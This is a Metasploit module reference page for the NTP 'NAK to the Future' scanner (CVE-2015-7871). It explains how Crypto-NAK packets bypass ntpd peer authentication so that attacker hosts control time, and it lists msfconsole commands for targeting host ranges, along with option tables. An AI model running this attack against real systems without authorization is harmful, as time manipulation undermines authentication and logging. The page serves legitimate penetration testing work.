NTP "NAK to the Future" - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ntp/ntp_nak_to_the_future metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: NTP "NAK to the Future"
Module: auxiliary/scanner/ntp/ntp_nak_to_the_future
Source code: modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb
Disclosure date: -
Last modification time: 2019-03-05 03:38:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 123
List of CVEs: CVE-2015-7871

Crypto-NAK packets can be used to cause ntpd to accept time from unauthenticated ephemeral symmetric peers by bypassing the authentication required to mobilize peer associations. This module sends these Crypto-NAK packets in order to establish an association between the target ntpd instance and the attacking client. The end goal is to cause ntpd to declare the legitimate peers "false tickers" and choose the attacking clients as the preferred peers, allowing these peers to control time.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ntp/ntp_nak_to_the_future
msf auxiliary(ntp_nak_to_the_future) > show options
    ... show and set options ...
msf auxiliary(ntp_nak_to_the_future) > set RHOSTS ip-range
msf auxiliary(ntp_nak_to_the_future) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ntp_nak_to_the_future) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(ntp_nak_to_the_future) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ntp_nak_to_the_future) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the scanner/ntp/ntp_nak_to_the_future auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ntp/ntp_nak_to_the_future

msf6 auxiliary(scanner/ntp/ntp_nak_to_the_future) > show info

       Name: NTP "NAK to the Future"
     Module: auxiliary/scanner/ntp/ntp_nak_to_the_future
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Matthew Van Gundy of Cisco ASIG
  Jon Hart <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  FILTER                      no        The filter string for capturing traffic
  INTERFACE                   no        The name of the interface
  OFFSET     300              yes       Offset from local time, in seconds
  PCAPFILE                    no        The name of the PCAP capture file to process
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      123              yes       The target port (UDP)
  SNAPLEN    65535            yes       The number of bytes to capture
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    500              yes       The number of seconds to wait for new data

Description:
  Crypto-NAK packets can be used to cause ntpd to accept time from 
  unauthenticated ephemeral symmetric peers by bypassing the 
  authentication required to mobilize peer associations. This module 
  sends these Crypto-NAK packets in order to establish an association 
  between the target ntpd instance and the attacking client. The end 
  goal is to cause ntpd to declare the legitimate peers "false 
  tickers" and choose the attacking clients as the preferred peers, 
  allowing these peers to control time.

References:
  http://talosintel.com/reports/TALOS-2015-0069/
  http://www.cisco.com/c/en/us/support/docs/availability/high-availability/19643-ntpm.html
  http://support.ntp.org/bin/view/Main/NtpBug2941
  https://nvd.nist.gov/vuln/detail/CVE-2015-7871

Module Options


This is a complete list of options available in the scanner/ntp/ntp_nak_to_the_future auxiliary module:

msf6 auxiliary(scanner/ntp/ntp_nak_to_the_future) > show options

Module options (auxiliary/scanner/ntp/ntp_nak_to_the_future):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILTER                      no        The filter string for capturing traffic
   INTERFACE                   no        The name of the interface
   OFFSET     300              yes       Offset from local time, in seconds
   PCAPFILE                    no        The name of the PCAP capture file to process
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      123              yes       The target port (UDP)
   SNAPLEN    65535            yes       The number of bytes to capture
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    500              yes       The number of seconds to wait for new data

Advanced Options


Here is a complete list of advanced options supported by the scanner/ntp/ntp_nak_to_the_future auxiliary module:

msf6 auxiliary(scanner/ntp/ntp_nak_to_the_future) > show advanced

Module advanced options (auxiliary/scanner/ntp/ntp_nak_to_the_future):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   GATEWAY_PROBE_HOST   8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                    no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   IMPLEMENTATION       3                yes       Use this NTP mode 7 implementation
   SECRET               1297303073       yes       A 32-bit cookie for probe requests.
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   VERSION              2                yes       Use this NTP version
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/ntp/ntp_nak_to_the_future module can do:

msf6 auxiliary(scanner/ntp/ntp_nak_to_the_future) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/ntp/ntp_nak_to_the_future auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ntp/ntp_nak_to_the_future) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Matthew Van Gundy of Cisco ASIG
  • Jon Hart <jon_hart[at]rapid7.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.